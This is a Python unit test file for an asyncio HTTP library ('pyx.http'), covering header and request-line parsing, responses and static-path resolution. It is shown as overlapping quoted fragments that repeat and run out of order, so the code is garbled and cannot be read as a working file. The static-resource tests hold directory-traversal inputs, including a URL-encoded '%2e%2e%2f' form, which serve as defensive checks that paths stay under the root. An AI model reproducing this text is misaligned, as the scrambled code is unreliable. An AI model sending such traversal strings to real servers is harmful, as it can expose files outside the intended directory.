"body.')) resp.connection.writer.write.assert_called_with(b'This is another string body.') class DummyResource(http.UrlResource): def get_child(self,",
"[ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self):",
"resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server',",
"test_not_implemented(self): res = http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request()",
"reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield from asyncio.sleep(0.001) writer",
"req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'",
"create_dummy_request() req.version = (1, 1) resp = req.respond(200) self.assertEqual(resp.code, 200)",
"== 'hello': return self elif key == \"static\": return http.StaticRootResource('.')",
"res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res =",
"class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"),",
"req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is None)",
"res = http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request() with",
"create_dummy_message(): msg = http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie',",
"[http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' :",
"= asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code, 200)",
"with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx') def test_parse(self): loop =",
"asyncio import pyx.http as http def create_dummy_message(): msg = http.HttpMessage(None)",
"req = create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers",
"/?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' :",
"Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n'",
"'.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res =",
"loop.run_until_complete(resp.send_body(b'Yes, this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the body.')",
"self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET",
"'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server: Pyx', 'Connection: keep-alive',",
"this is the body.') loop.run_until_complete(resp.send_body('This is another string body.')) resp.connection.writer.write.assert_called_with(b'This",
"req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def test_parse_header(self): req =",
"self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the",
"'/') self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line(",
"def test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"),",
"(1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'),",
"test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res)",
"with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET",
"conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma:",
"raise http.HttpError(404, '{} not found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self): res",
"localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' : Test\\r\\n' b'\\r\\n') req",
"'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self):",
"\\t : pyx') def test_parse(self): loop = asyncio.get_event_loop() conn =",
"'\\r\\n') def test_send(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp",
"resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ]",
"with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET",
"req.headers = [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n')",
"pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx') def test_parse(self): loop",
"loop = asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield",
"'')]) req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with",
"1)) req.version = (1, 0) resp = req.respond(400) self.assertEqual(resp.code, 400)",
"b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' : Test\\r\\n' b'\\r\\n') req =",
"req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol,",
"conn = http.HttpConnection(reader, writer) return conn def create_dummy_request(): conn =",
"= asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded)",
"another string body.') class DummyResource(http.UrlResource): def get_child(self, key): if key",
"= DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError):",
"OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self): loop =",
"sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path')",
"http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self): req = create_dummy_request() req.version =",
"= conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n'",
"http.StaticRootResource('.') else: raise http.HttpError(404, '{} not found'.format(key)) class TestUrlResource(unittest.TestCase): def",
"http def create_dummy_message(): msg = http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server',",
"with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1,",
"self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root, '.')",
"res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self):",
"string body.') class DummyResource(http.UrlResource): def get_child(self, key): if key ==",
"Test\\r\\n' b' : Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET')",
"test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers",
"b' : Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path,",
"keep-alive\\r\\n' '\\r\\n') def test_send(self): loop = asyncio.get_event_loop() req = create_dummy_request()",
"req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with",
"self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server',",
"'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop = asyncio.get_event_loop()",
"another string body.')) resp.connection.writer.write.assert_called_with(b'This is another string body.') class DummyResource(http.UrlResource):",
"self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'),",
"self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers = [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers",
"= http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg =",
"self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma',",
"self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server:",
"req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this",
"\"static\": return http.StaticRootResource('.') else: raise http.HttpError(404, '{} not found'.format(key)) class",
"self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"),",
"'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError):",
"res = http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res =",
"= res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def",
"b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t')",
"self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase): def test_write(self): resp",
"b'Pragma: Test\\r\\n' b' : Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method,",
"dummy_drain(): yield from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn",
"'\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n')",
"200 OK', 'Server: Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200",
"res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/%2e%2e%2f%2e%2e/dangerous/path') self.assertEqual(res._build_real_path(),",
"msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"),",
"= [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Server:",
"= [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b':",
"200) self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type',",
"def get_child(self, key): if key == 'hello': return self elif",
"self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static')",
"= req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase): def",
"req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length',",
"]) def test_respond(self): req = create_dummy_request() req.version = (1, 1)",
"def dummy_drain(): yield from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain')",
"'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res",
"not found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''),",
"res.traverse('/hello') req = create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def",
"req = create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/')",
"is another string body.') class DummyResource(http.UrlResource): def get_child(self, key): if",
"writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader, writer) return conn def create_dummy_request():",
"= http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root')",
"Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' : Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn))",
"1) resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1)) req.version",
"self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers",
"'Server: Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server:",
"self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres",
"= http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie',",
"test_write(self): resp = http.HttpResponse(200, None) resp.headers = [ http.HttpHeader('Server', 'Pyx'),",
"res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(),",
"'/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [",
"self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /",
"self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None)",
"pyx') def test_parse(self): loop = asyncio.get_event_loop() conn = create_dummy_connection() reader",
"(1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path')",
"/\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version,",
"def test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a',",
"return conn def create_dummy_request(): conn = create_dummy_connection() req = http.HttpRequest(conn)",
"[ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ] return msg",
"class TestUrlResource(unittest.TestCase): def test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'),",
"= asyncio.get_event_loop() conn = create_dummy_connection() reader = conn.reader reader.feed_data( b'GET",
"self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase): def test_write(self): resp = http.HttpResponse(200,",
"'Pyx')]) req.headers = [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = []",
"create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"])",
"import unittest import unittest.mock as mock import asyncio import pyx.http",
"test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path,",
"http.HttpHeader('Cookie', 'b'), ] return msg def create_dummy_connection(): loop = asyncio.get_event_loop()",
"/ HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is None) self.assertEqual(req.protocol,",
"/ HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def test_parse_header(self): req = create_dummy_request()",
"= req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1)) req.version = (1,",
"self elif key == \"static\": return http.StaticRootResource('.') else: raise http.HttpError(404,",
"with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res = http.StaticRootResource('local_root')",
"req = create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self):",
"[ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode())",
"with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.')",
"self.assertTrue(req.responded) def test_send_body(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp",
"(1, 1) resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1))",
"OK', 'Server: Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n'",
"self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'",
": pyx') def test_parse(self): loop = asyncio.get_event_loop() conn = create_dummy_connection()",
"'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1))",
"b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' : Test\\r\\n' b'\\r\\n')",
"self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST",
"is another string body.')) resp.connection.writer.write.assert_called_with(b'This is another string body.') class",
"import unittest.mock as mock import asyncio import pyx.http as http",
"= (1, 1) resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1,",
"'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self): loop = asyncio.get_event_loop() req =",
"self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET",
"b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b'",
"return req class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"),",
"req.version = (1, 1) resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version,",
"= asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield from",
"= http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root')",
"mock import asyncio import pyx.http as http def create_dummy_message(): msg",
"= [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = []",
"'./some/path') def test_not_implemented(self): res = http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req",
"'a'), http.HttpHeader('Cookie', 'b'), ] return msg def create_dummy_connection(): loop =",
"get_child(self, key): if key == 'hello': return self elif key",
"req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n')",
"GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def test_parse_header(self): req",
"create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers = [] with",
"self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1,",
"self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers,",
"self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def",
"loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is",
"(1, 1)) req.version = (1, 0) resp = req.respond(400) self.assertEqual(resp.code,",
"def test_not_implemented(self): res = http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req =",
"def test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method, 'POST')",
"'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET')",
"def test_parse(self): loop = asyncio.get_event_loop() conn = create_dummy_connection() reader =",
"b']) msg.headers = [] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self):",
"def create_dummy_request(): conn = create_dummy_connection() req = http.HttpRequest(conn) return req",
"self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError):",
"resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the body.'))",
"= http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root')",
"import asyncio import pyx.http as http def create_dummy_message(): msg =",
"http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ] return msg def",
"res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root,",
"as mock import asyncio import pyx.http as http def create_dummy_message():",
"self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host',",
"self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path')",
"None) def test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie:",
"0)) class TestHttpResponse(unittest.TestCase): def test_write(self): resp = http.HttpResponse(200, None) resp.headers",
"[] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Server: \\r\\n')",
"res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res =",
"[]) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def",
"TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n') self.assertEqual(req.method,",
"HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n' b' : Test\\r\\n'",
"mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader, writer) return conn def",
"= res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path')",
"req.headers = [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers =",
"'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self): loop = asyncio.get_event_loop()",
": Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/')",
"[http.HttpHeader('Server', 'Pyx')]) req.headers = [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers =",
"resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1)) req.version =",
"create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers = [",
"http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res",
"self.assertEqual(req.method, 'POST') self.assertEqual(req.path, '/') self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version,",
"http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop =",
"= req.respond(200) self.assertEqual(resp.code, 200) self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server', 'Pyx'),",
"= asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield from asyncio.sleep(0.001) writer =",
"body.') loop.run_until_complete(resp.send_body('This is another string body.')) resp.connection.writer.write.assert_called_with(b'This is another string",
"[http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')])",
"'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def",
"= [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200",
